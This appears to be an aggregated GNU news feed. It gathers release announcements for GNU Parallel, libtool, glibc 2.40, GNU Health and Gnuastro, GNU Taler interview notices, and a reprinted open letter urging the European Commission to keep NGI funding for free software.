Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The FSF is officially going remote, so come visit the FSF office one last time. After August 31st, FSF will no longer be residing at the office on 51 Franklin Street.
For the final time, FSF will open the office to everyone who would like to visit the office one last time on Friday, August 16th from 6:00 p.m. - 8:30 p.m. for the move-out party.
You can also leave your words at the member forum:
https://forum.members.fsf.org/t/we-are-closing-down-the-51-franklin-street-office-do-you-have-any-memories-to-share/5614
You can write your own blog as I have done:
https://liberal.codeberg.page/goodbye-51-franklin-street.html
GNU Health Hospital Management 4.4.1 has been released!
Priority: High
Table of Contents* About GNU Health Patchsets
* Updating your system with the GNU Health control Center
* Installation notes
* List of other issues related to this patchset
About GNU Health Patchsets
We provide "patchsets" to stable releases. Patchsets allow applying bug fixes and updates on production systems. Always try to keep your production system up-to-date with the latest patches.
Patches and Patchsets maximize uptime for production systems, and keep your system updated, without the need to do a whole installation.
NOTE: Patchsets are applied on previously installed systems only. For new, fresh installations, download and install the whole tarball (ie, gnuhealth-4.4.1.tar.gz)
Updating your system with the GNU Health control Center
You can do automatic updates on the GNU Health HMIS kernel and modules using the GNU Health control center program.
Please refer to the administration manual section ( https://docs.gnuhealth.org/his/techguide/administration/controlcenter.html )
The GNU Health control center works on standard installations (those done following the installation manual on wikibooks). Don't use it if you use an alternative method or if your distribution does not follow the GNU Health packaging guidelines.
Installation Notes
You must apply previous patchsets before installing this patchset. If your patchset level is 4.4.0, then just follow the general instructions. You can find the patchsets at GNU Health main download site at GNU.org (https://ftp.gnu.org/gnu/health/)
In most cases, GNU Health Control center (gnuhealth-control) takes care of applying the patches for you.
Pre-requisites for upgrade to 4.4.1: None
Now follow the general instructions at
https://docs.gnuhealth.org/his/techguide/administration/controlcenter.html
After applying the patches, make a full update of your GNU Health database as explained in the documentation.
When running "gnuhealth-control" for the first time, you will see the following message: "Please restart now the update with the new control center" Please do so. Restart the process and the update will continue.
Restart the GNU Health server
List of other issues and tasks related to this patchset* Issue #15: readfp on setup.py no longer supported since python 3.12 https://codeberg.org/gnuhealth/his/issues/15
* Issue #33: health orthanc: Errors on imaging request when worklist template set on imaging test type https://codeberg.org/gnuhealth/his/issues/33
For detailed information about each issue, you can visit :
https://codeberg.org/gnuhealth/his/issues
For detailed information you can read about Patches and Patchsets
The Libtool Team is pleased to announce the release of libtool 2.5.1, a beta release.
GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.
There have been 33 commits by 8 people in the 10 weeks since 2.5.0.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (3)
Ileana Dumitrescu (24)
Julien ÉLIE (1)
Khem Raj (1)
Peter Kokot (1)
Richard Purdie (1)
Vincent Lefevre (1)
trcrsired (1)
Ileana
[on behalf of the libtool maintainers]
==================================================================
Here is the GNU libtool home page:
https://gnu.org/s/libtool/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.5.1
or run this command from a git-cloned libtool directory:
git shortlog v2.5.0..v2.5.1
Here are the compressed sources:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.1.tar.gz (1.9MB)
https://alpha.gnu.org/gnu/libtool/libtool-2.5.1.tar.xz (1020KB)
Here are the GPG detached signatures:
https://alpha.gnu.org/gnu/libtool/libtool-2.5.1.tar.gz.sig
https://alpha.gnu.org/gnu/libtool/libtool-2.5.1.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libtool-2.5.1.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
Guix is the fruit of a combination of volunteer work by an amazingnumber of people, work paid for by employers, but also work sponsored bypublic institutions. The European Commission’s Next GenerationInternet (NGI) calls have been instrumental in thatregard. News that NGI funding could vanish came to us as a warningsignal.
Since 2020, NGI has supported many free software projects, allowing forsignificant strides on important topics that would otherwise be hard tofund. As an example, here are some of the NGI grants that directlybenefited Guix and related projects:
the full-sourcebootstrap, whichincludes groundwork not just in Guix but crucially inMes and sister projects (blogpost);
porting Guix to the RISC-Varchitecture;
porting GNU Mes and associated projects toRISC-V andAArch64;
porting the full-source bootstrap to the RISC-Varchitecture;
the Cuirass continuous integrationtool (blogpost);
the Guile implementation of the Guix builddaemon (blogpost);
distributed system daemon management with the Shepherdand Goblins, underthe aegis of the Spritely Institute (blogpost).
a new garbage collector forGuile, the Scheme implementationthat Guix builds upon.
Over the years, NGI has more than demonstrated that public financialsupport for free software development makes a difference. We stronglybelieve that this support must continue, that it must strengthen thedevelopment of innovative software where user autonomy and freedom is acentral aspect.
For these reasons, the Guix project joins a growing number of projectsand organizations in signing the following open letter to the EuropeanCommission.
The open letter below was initially published by petitessingularités.English translation provided byOW2.
Open Letter to the European CommissionSince 2020, Next Generation Internet (NGI) programmes, part of European Commission's Horizon programme, fund free software in Europe using a cascade funding mechanism (see for example NLnet's calls). This year, according to the Horizon Europe working draft detailing funding programmes for 2025, we notice that Next Generation Internet is not mentioned any more as part of Cluster 4.
NGI programmes have shown their strength and importance to supporting the European software infrastructure, as a generic funding instrument to fund digital commons and ensure their long-term sustainability. We find this transformation incomprehensible, moreover when NGI has proven efficient and economical to support free software as a whole, from the smallest to the most established initiatives. This ecosystem diversity backs the strength of European technological innovation, and maintaining the NGI initiative to provide structural support to software projects at the heart of worldwide innovation is key to enforce the sovereignty of a European infrastructure.Contrary to common perception, technical innovations often originate from European rather than North American programming communities, and are mostly initiated by small-scaled organisations.
Previous Cluster 4 allocated 27 million euros to:
"Human centric Internet aligned with values and principles commonly shared in Europe" ;
"A flourishing internet, based on common building blocks created within NGI, that enables better control of our digital life" ;
"A structured ecosystem of talented contributors driving the creation of new internet commons and the evolution of existing internet commons".
In the name of these challenges, more than 500 projects received NGI funding in the first 5 years, backed by 18 organisations managing these European funding consortia.
NGI contributes to a vast ecosystem, as most of its budget is allocated to fund third parties by the means of open calls, to structure commons that cover the whole Internet scope - from hardware to application, operating systems, digital identities or data traffic supervision. This third-party funding is not renewed in the current program, leaving many projects short on resources for research and innovation in Europe.
Moreover, NGI allows exchanges and collaborations across all the Euro zone countries as well as "widening countries"¹, currently both a success and an ongoing progress, likewise the Erasmus programme before us. NGI also contributes to opening and supporting longer relationships than strict project funding does. It encourages implementing projects funded as pilots, backing collaboration, identification and reuse of common elements across projects, interoperability in identification systems and beyond, and setting up development models that mix diverse scales and types of European funding schemes.
While the USA, China or Russia deploy huge public and private resources to develop software and infrastructure that massively capture private consumer data, the EU can't afford this renunciation.Free and open source software, as supported by NGI since 2020, is by design the opposite of potential vectors for foreign interference. It lets us keep our data local and favors a community-wide economy and know-how, while allowing an international collaboration.
This is all the more essential in the current geopolitical context: the challenge of technological sovereignty is central, and free software allows to address it while acting for peace and sovereignty in the digital world as a whole.
In this perspective, we urge you to claim for preserving the NGI programme as part of the 2025 funding programme.
¹ As defined by Horizon Europe, widening Member States are Bulgaria, Croatia, Cyprus, Czechia, Estonia, Greece, Hungary, Latvia, Lituania, Malta, Poland, Portugal, Romania, Slovakia, and Slovenia. Widening associated countries (under condition of an association agreement) include Albania, Armenia, Bosnia, Feroe Islands, Georgia, Kosovo, Moldavia, Montenegro, Morocco, North Macedonia, Serbia, Tunisia, Turkeye, and Ukraine. Widening overseas regions are Guadeloupe, French Guyana, Martinique, Reunion Island, Mayotte, Saint-Martin, The Azores, Madeira, the Canary Islands.
The GNU C Library is used as the C library in the GNU system and
in GNU/Linux systems, as well as many other systems that use Linux
as the kernel.
The GNU C Library is primarily designed to be a portable
and high performance C library. It follows all relevant
standards including ISO C11 and POSIX.1-2017. It is also
internationalized and has one of the most complete
internationalization interfaces known.
The GNU C Library webpage is at http://www.gnu.org/software/libc/
Packages for the 2.40 release may be downloaded from:
http://ftpmirror.gnu.org/libc/
http://ftp.gnu.org/gnu/libc/
The mirror list is at http://www.gnu.org/order/ftp.html
Distributions are encouraged to track the release/* branches
corresponding to the releases they are using. The release
branches will be updated with conservative bug fixes and new
features while retaining backwards compatibility.
NEWS for version 2.40
Major new features:
The header type-generic macros have been changed when using
GCC 14.1 or later to use __builtin_stdc_bit_ceil etc. built-in functions
in order to support unsigned __int128 and/or unsigned _BitInt(N) operands
with arbitrary precisions when supported by the target.
The GNU C Library now supports a feature test macro _ISOC23_SOURCE to
enable features from the ISO C23 standard. Only some features from
this standard are supported by the GNU C Library. The older name
_ISOC2X_SOURCE is still supported. Features from C23 are also enabled
by _GNU_SOURCE, or by compiling with the GCC options -std=c23,
-std=gnu23, -std=c2x or -std=gnu2x.
The following ISO C23 function families (introduced in TS
18661-4:2015) are now supported in . Each family includes
functions for float, double, long double, _FloatN and _FloatNx, and a
type-generic macro in .
Exponential functions: exp2m1, exp10m1.
Logarithmic functions: log2p1, log10p1, logp1.
A new tunable, glibc.rtld.enable_secure, can be used to run a program
as if it were a setuid process. This is currently a testing tool to allow
more extensive verification tests for AT_SECURE programs and not meant to
be a security feature.
On Linux, the epoll header was updated to include epoll ioctl definitions
and the related structure added in Linux kernel 6.9.
The fortify functionality has been significantly enhanced for building
programs with clang against the GNU C Library.
Many functions have been added to the vector library for aarch64:
On x86, memset can now use non-temporal stores to improve the performance
of large writes. This behaviour is controlled by a new tunable
x86_memset_non_temporal_threshold.
Deprecated and removed features, and other changes affecting compatibility:
Architectures which use a 32-bit seconds-since-epoch field in struct
lastlog, struct utmp, struct utmpx (such as i386, powerpc64le, rv32,
rv64, x86-64) switched from a signed to an unsigned type for that
field. This allows these fields to store timestamps beyond the year
2038, until the year 2106. Please note that applications are still
expected to migrate off the interfaces declared in and (except for login_tty) due to locking and session management
problems.
__rseq_size now denotes the size of the active rseq area (20 bytes
initially), not the size of struct rseq (32 bytes initially).
Security related changes:
The following CVEs were fixed in this release, details of which can be
found in the advisories directory of the release tarball:
GLIBC-SA-2024-0004:
ISO-2022-CN-EXT: fix out-of-bound writes when writing escape
sequence (CVE-2024-2961)
GLIBC-SA-2024-0005:
nscd: Stack-based buffer overflow in netgroup cache (CVE-2024-33599)
GLIBC-SA-2024-0006:
nscd: Null pointer crash after notfound response (CVE-2024-33600)
GLIBC-SA-2024-0007:
nscd: netgroup cache may terminate daemon on memory allocation
failure (CVE-2024-33601)
The following bugs were resolved with this release:
[19622] network: Support aliasing with struct sockaddr
[21271] localedata: cv_RU: update translations
[23774] localedata: lv_LV collates Y/y incorrectly
[23865] string: wcsstr is quadratic-time
[25119] localedata: Change Czech weekday names to lowercase
[27777] stdio: fclose does a linear search, takes ages when many FILE
are opened
[29770] libc: prctl does not match manual page ABI on powerpc64le-
linux-gnu
[29845] localedata: Update hr_HR locale currency to €
[30701] time: getutxent misbehaves on 32-bit x86 when _TIME_BITS=64
[31316] build: Fails test misc/tst-dirname "Didn't expect signal from
child: got `Illegal instruction'" on non SSE CPUs
[31317] dynamic-link: [RISCV] static PIE crashes during self
relocation
[31325] libc: mips: clone3 is wrong for o32
[31335] math: Compile glibc with -march=x86-64-v3 should disable FMA4
multi-arch version
[31339] libc: arm32 loader crash after cleanup in 2.36
[31340] manual: A bad sentence in section 22.3.5 (resource.texi)
[31357] dynamic-link: $(objpfx)tst-rtld-list-diagnostics.out rule
doesn't work with test wrapper
[31370] localedata: wcwidth() does not treat
DEFAULT_IGNORABLE_CODE_POINTs as zero-width
[31371] dynamic-link: x86-64: APX and Tile registers aren't preserved
in ld.so trampoline
[31372] dynamic-link: _dl_tlsdesc_dynamic doesn't preserve all caller-
saved registers
[31383] libc: _FORTIFY_SOURCE=3 and __fortified_attr_access vs size of
0 and zero size types
[31385] build: sort-makefile-lines.py doesn't check variable with _
nor with "^# variable"
[31402] libc: clone (NULL, NULL, ...) clobbers %r7 register on
s390{,x}
[31405] libc: Improve dl_iterate_phdr using _dl_find_object
[31411] localedata: Add Latgalian locale
[31412] build: GCC 6 failed to build i386 glibc on Fedora 39
[31429] build: Glibc failed to build with -march=x86-64-v3
[31468] libc: sigisemptyset returns true when the set contains signals
larger than 34
[31476] network: Automatic activation of single-request options break
resolv.conf reloading
[31479] libc: Missing #include in sched_getcpu.c may
result in a loss of rseq acceleration
[31501] dynamic-link: _dl_tlsdesc_dynamic_xsavec may clobber %rbx
[31518] manual: documentation: FLT_MAX_10_EXP questionable text, evtl.
wrong,
[31530] localedata: Locale file for Moksha - mdf_RU
[31553] malloc: elf/tst-decorate-maps fails on ppc64el
[31596] libc: On the llvm-arm32 platform, dlopen("not_exist.so", -1)
triggers segmentation fault
[31600] math: math: x86 ceill traps when FE_INEXACT is enabled
[31601] math: math: x86 floor traps when FE_INEXACT is enabled
[31603] math: math: x86 trunc traps when FE_INEXACT is enabled
[31612] libc: arc4random fails to fallback to /dev/urandom if
getrandom is not present
[31629] build: powerpc64: Configuring with "--with-cpu=power10" and
'CFLAGS=-O2 -mcpu=power9' fails to build glibc
[31640] dynamic-link: POWER10 ld.so crashes in
elf_machine_load_address with GCC 14
[31661] libc: NPROCESSORS_CONF and NPROCESSORS_ONLN not available in
getconf
[31676] dynamic-link: Configuring with CC="gcc -march=x86-64-v3"
--with-rtld-early-cflags=-march=x86-64 results in linker failure
[31677] nscd: nscd: netgroup cache: invalid memcpy under low
memory/storage conditions
[31678] nscd: nscd: Null pointer dereferences after failed netgroup
cache insertion
[31679] nscd: nscd: netgroup cache may terminate daemon on memory
allocation failure
[31680] nscd: nscd: netgroup cache assumes NSS callback uses in-buffer
strings
[31682] math: [PowerPC] Floating point exception error for math test
test-ceil-except-2 test-floor-except-2 test-trunc-except-2
[31686] dynamic-link: Stack-based buffer overflow in
parse_tunables_string
[31695] libc: pidfd_spawn/pidfd_spawnp leak an fd if clone3 succeeds
but execve fails
[31719] dynamic-link: --enable-hardcoded-path-in-tests doesn't work
with -Wl,--enable-new-dtags
[31730] libc: backtrace_symbols_fd prints different strings than
backtrace_symbols returns
[31753] build: FAIL: link-static-libc with GCC 6/7/8
[31755] libc: procutils_read_file doesn't start with a leading
underscore
[31756] libc: write_profiling is only in libc.a
[31757] build: Should XXXf128_do_not_use functions be excluded?
[31759] math: Extra nearbyint symbols in libm.a
[31760] math: Missing math functions
[31764] build: _res_opcodes should be a compat symbol only
[31765] dynamic-link: _dl_mcount_wrapper is exported without prototype
[31766] stdio: IO_stderr* _IO_stdin_ _IO_stdout should be compat
symbols
[31768] string: Extra stpncpy symbol in libc.a
[31770] libc: clone3 is in libc.a
[31774] libc: Missing __isnanf128 in libc.a
[31775] math: Missing exp10 exp10f32x exp10f64 fmod fmodf fmodf32
fmodf32x fmodf64 in libm.a
[31777] string: Extra memchr strlen symbols in libc.a
[31781] math: Missing math functions in libm.a
[31782] build: Test build failure with recent GCC trunk (x86/tst-cpu-
features-supports.c:69:3: error: parameter to builtin not valid:
avx5124fmaps)
[31785] string: loongarch: Extra strnlen symbols in libc.a
[31786] string: powerpc: Extra strchrnul and strncasecmp_l symbols in
libc.a
[31787] math: powerpc: Extra llrintf, llrintf, llrintf32, and
llrintf32 symbols in libc.a
[31788] libc: microblaze: Extra cacheflush symbol in libc.a
[31789] libc: powerpc: Extra versionsort symbol in libc.a
[31790] libc: s390: Extra getutent32, getutent32_r, getutid32,
getutid32_r, getutline32, getutline32_r, getutmp32, getutmpx32,
getutxent32, getutxid32, getutxline32, pututline32, pututxline32,
updwtmp32, updwtmpx32 in libc.a
[31797] build: g++ -static requirement should be able to opt-out
[31798] libc: pidfd_getpid.c is miscompiled by GCC 6.4
[31802] time: difftime is pure not const
[31808] time: The supported time_t range is not documented.
[31840] stdio: Memory leak in _IO_new_fdopen (fdopen) on seek failure
[31867] build: "CPU ISA level is lower than required" on SSE2-free
CPUs
[31876] time: "Date and time" documentation fixes for POSIX.1-2024 etc
[31883] build: ISA level support configure check relies on bashism /
is otherwise broken for arithmetic
[31892] build: Always install mtrace.
[31917] libc: clang mq_open fortify wrapper does not handle 4 argument
correctly
[31927] libc: clang open fortify wrapper does not handle argument
correctly
[31931] time: tzset may fault on very short TZ string
[31934] string: wcsncmp crash on s390x on vlbb instruction
[31963] stdio: Crash in _IO_link_in within __gcov_exit
[31965] dynamic-link: rseq extension mechanism does not work as
intended
[31980] build: elf/tst-tunables-enable_secure-env fails on ppc
Release Notes
https://sourceware.org/glibc/wiki/Release/2.40
Contributors
This release was made possible by the contributions of many people.
The maintainers are grateful to everyone who has contributed
changes or bug reports. These include:
Adam Sampson
Adhemerval Zanella
Alejandro Colomar
Alexandre Ferrieux
Amrita H S
Andreas K. Hüttel
Andreas Schwab
Andrew Pinski
Askar Safin
Aurelien Jarno
Avinal Kumar
Carlos Llamas
Carlos O'Donell
Charles Fol
Christoph Müllner
DJ Delorie
Daniel Cederman
Darius Rad
David Paleino
Dragan Stanojević (Nevidljivi)
Evan Green
Fangrui Song
Flavio Cruz
Florian Weimer
Gabi Falk
H.J. Lu
Jakub Jelinek
Jan Kurik
Joe Damato
Joe Ramsay
Joe Simmons-Talbott
Joe Talbott
John David Anglin
Joseph Myers
Jules Bertholet
Julian Zhu
Junxian Zhu
Konstantin Kharlamov
Luca Boccassi
Maciej W. Rozycki
Manjunath Matti
Mark Wielaard
MayShao-oc
Meng Qinggang
Michael Jeanson
Michel Lind
Mike FABIAN
Mohamed Akram
Noah Goldstein
Palmer Dabbelt
Paul Eggert
Philip Kaludercic
Samuel Dobron
Samuel Thibault
Sayan Paul
Sergey Bugaev
Sergey Kolosov
Siddhesh Poyarekar
Simon Chopin
Stafford Horne
Stefan Liebler
Sunil K Pandey
Szabolcs Nagy
Wilco Dijkstra
Xi Ruoyao
Xin Wang
Yinyu Cai
YunQiang Su
We would like to call out the following and thank them for their
tireless patch review:
Adhemerval Zanella
Alejandro Colomar
Andreas K. Hüttel
Arjun Shankar
Aurelien Jarno
Bruno Haible
Carlos O'Donell
DJ Delorie
Dmitry V. Levin
Evan Green
Fangrui Song
Florian Weimer
H.J. Lu
Jonathan Wakely
Joseph Myers
Mathieu Desnoyers
Maxim Kuvyrkov
Michael Jeanson
Noah Goldstein
Palmer Dabbelt
Paul Eggert
Paul E. Murphy
Peter Bergner
Philippe Mathieu-Daudé
Sam James
Siddhesh Poyarekar
Simon Chopin
Stefan Liebler
Sunil K Pandey
Szabolcs Nagy
Xi Ruoyao
Zack Weinberg
--
Andreas K. Hüttel
dilfridge@gentoo.org
Gentoo Linux developer
(council, toolchain, base-system, perl, releng)
https://wiki.gentoo.org/wiki/User:Dilfridge
https://www.akhuettel.de/
GNU Parallel 20240722 ('Assange') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
parallel is frickin great for launching jobs on multiple
machines. Ansible and Jenkins and others may be good too but I was
able to jump right in with parallel.
-- dwhite21787@reddit
New in this release:
No new features. This is a candidate for a stable release.
Bug fixes and man page updates.
News about GNU Parallel:
Scientific Workflows at Scale using GNU Parallel https://web.cvent.com/event/f318e73c-2230-432a-a044-b75625020543/websitePage:afd80266-008e-414b-9f94-2fd9b4dd1924?session=fe79a785-ec60-414c-8d2b-c29208f53d4c&shareLink=true
Use GNU Parallel to render blender movies distributed by a bunch of nodes https://github.com/tfmoraes/blender_gnu_parallel_render
Lessons Learned from Scaling to Multi-Terabyte Datasets https://v2thegreat.com/2024/06/19/lessons-learned-from-scaling-to-multi-terabyte-datasets/
Efisiensi Maksimal: Cara Paralelisasi Perintah di CLI Linux https://medium.com/@nfrozi/efisiensi-maksimal-cara-paralelisasi-perintah-di-cli-linux-f4fda3afe2a0
Introduction to GNU parallel https://datascience.101workbook.org/06-hpc/06-parallel/01-intro-to-gnu-parallel/#gsc.tab=0
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
On the occasion of the Point Zero Forum's Innovation Tour, Evgeny Grin has interviewed Mikolai Gütschow who designed and implemented solutions for the payments in the Internet of Things (IoT).
DHT Technical Specification Milestone 5 We are happy to announce the completion of milestone 5 for the DHT specification.The general objective is to provide a detailed and comprehensive guide for implementors of the GNUnet DHT "R 5 N".As part of this milestone, the specification was updated andinteroperability testing conducted.We submitted the draft to the Independent Stream Editor (ISE)who is going to decide if it will be adopted and shepherded throughthe RFC process.
The current protocol is implemented as part of GNUnet and gnunet-go as announced on the mailing list when the previous implementation milestones were finished .
We again invite any interested party to read the document and provide critical review and feedback. This greatly helps us to improve the protocol and help future implementations. Contact us at the gnunet-developers mailing list .
Plain text version
HTML version
Git sources
This work is generously funded by NLnet as part of their NGI Assure fund .
On the occasion of the Point Zero Forum's Innovation Tour, Evgeny Grin has interviewed Özgür Kesim who designed and implemented an age restricition mechanism inside the GNU Taler coins.
The European Union must keep funding free software The GNUnet project was granted NGI funding via NLnet . Other FOSS related projects also benefit from NGI funding. This funding is now at risk for future projects.
The following is an openletter initially published in French by the Petites Singularités association. To co-sign it, please publish it on your website in your preferredlanguage, then add yourself to this table .
Open Letter to the European Commission.
Since 2020, Next Generation Internet ( NGI ) programmes,part of European Commission’s Horizon programme, fund free software in Europeusing a cascade funding mechanism (see for example NLnet’s calls ). This year, according to the HorizonEurope working draft detailing funding programmes for 2025, we notice thatNext Generation Internet is not mentioned any more as part of Cluster 4.
NGI programmes have shown their strength and importance to supporting theEuropean software infrastructure, as a generic funding instrument to funddigital commons and ensure their long-term sustainability. We find thistransformation incomprehensible, moreover when NGI has proven efficient andeconomical to support free software as a whole, from the smallest to the mostestablished initiatives. This ecosystem diversity backs the strength ofEuropean technological innovation, and maintaining the NGI initiative toprovide structural support to software projects at the heart of worldwideinnovation is key to enforce the sovereignty of a European infrastructure.Contrary to common perception, technical innovations often originate fromEuropean rather than North American programming communities, and are mostlyinitiated by small-scaled organizations.
Previous Cluster 4 allocated 27 million euros to:
“Human centric Internet aligned with values and principles commonly shared inEurope” ;
“A flourishing internet, based on common building blocks created within NGI,that enables better control of our digital life” ;
“A structured ecosystem of talented contributors driving the creation of newinternet commons and the evolution of existing internet commons”.
In the name of these challenges, more than 500 projects received NGI funding inthe first 5 years, backed by 18 organisations managing these European fundingconsortia.
NGI contributes to a vast ecosystem, as most of its budget is allocated to fundthird parties by the means of open calls, to structure commons that cover thewhole Internet scope - from hardware to application, operating systems, digitalidentities or data traffic supervision. This third-party funding is not renewedin the current program, leaving many projects short on resources for researchand innovation in Europe.
Moreover, NGI allows exchanges and collaborations across all the Euro zonecountries as well as “widening countries” 1 , currently both a success and anongoing progress, likewise the Erasmus programme before us. NGI alsocontributes to opening and supporting longer relationships than strict projectfunding does. It encourages implementing projects funded as pilots, backingcollaboration, identification and reuse of common elements across projects,interoperability in identification systems and beyond, and setting updevelopment models that mix diverse scales and types of European fundingschemes.
While the USA, China or Russia deploy huge public and private resources todevelop software and infrastructure that massively capture private consumerdata, the EU can’t afford this renunciation.Free and open source software, as supported by NGI since 2020, is by design theopposite of potential vectors for foreign interference. It lets us keep ourdata local and favors a community-wide economy and know-how, while allowing aninternational collaboration.This is all the more essential in the current geopolitical context: thechallenge of technological sovereignty is central, and free software allowsaddressing it while acting for peace and sovereignty in the digital world as awhole.
As defined by Horizon Europe, widening Member States are Bulgaria,Croatia, Cyprus, Czechia, Estonia, Greece, Hungary, Latvia, Lituania, Malta,Poland, Portugal, Romania, Slovakia, and Slovenia. Widening associatedcountries (under condition of an association agreement) include Albania,Armenia, Bosnia, Feroe Islands, Georgia, Kosovo, Moldavia, Montenegro, Morocco,North Macedonia, Serbia, Tunisia, Turkeye, and Ukraine. Widening overseasregions are Guadeloupe, French Guyana, Martinique, Reunion Island, Mayotte,Saint-Martin, The Azores, Madeira, the Canary Islands. ↩︎
On the occasion of the Point Zero Forum's Innovation Tour, Evgeny Grin has interviewed Isidor Wallimann who is introducing GNU Taler for the local currency Netzbon in Basel.
On the occasion of the Point Zero Forum's Innovation Tour, Berna Alp has interviewed Christian Blättler who implemented a system for using GNU Taler for unlikable discounts and subscriptions.
I am happy to announce patchset 2.2.1 for MYGNUHealth, the GNU Health Personal Health Record.
This patchset fixes the following issues:
MyGH crashes when clicking 'Network': https://codeberg.org/gnuhealth/mygnuhealth/issues/34
Include icons of type gif on MANIFEST.in : https://codeberg.org/gnuhealth/mygnuhealth/issues/36
You can download MyGNUHealth source code from the official GNU Savannah (https://ftp.gnu.org/gnu/health/mygnuhealth/). You can also install MyGH from the Python Package Index (PyPI) or from your operating system distribution.
On the occasion of the Point Zero Forum's Innovation Tour, Berna Alp has interviewed Nicola Eigel who implemented a real-time auditor for the GNU Taler exchange with his colleague Cédric Zwahlen.
When I opened this Savannah project I imported items from the old GNU tasklist document. 20 years later all of the context has been lost (if there ever was any) so now if anyone asks about these tasks it just leads to frustration on everyone's part.
I therefore deleted the original help wanted entries that date back to 2003. If anyone wants to help the GNU project, the best way to do that is to pick one of the FSF's High-Priority projects:
On the occasion of the Point Zero Forum's Innovation Tour, we have showcased the privacy-preserving GNU Taler payment system along with its various applications and extensions – as well as other payment- and digital identity related projects – that are currently being developed at the Bern University of Applied Sciences and its international partners as part of the NGI TALER EU project. This page includes recordings of the main talks. In the near future, we will also post interviews made with some of the poster presenters (sadly, only about half of the people could be interviewed due to time constraints).
The 23rd release of GNU Astronomy Utilities (Gnuastro) is now available. See the full announcement for all the new features in this release and the many bugs that have been found and fixed: https://lists.gnu.org/archive/html/info-gnuastro/2024-07/msg00001.html
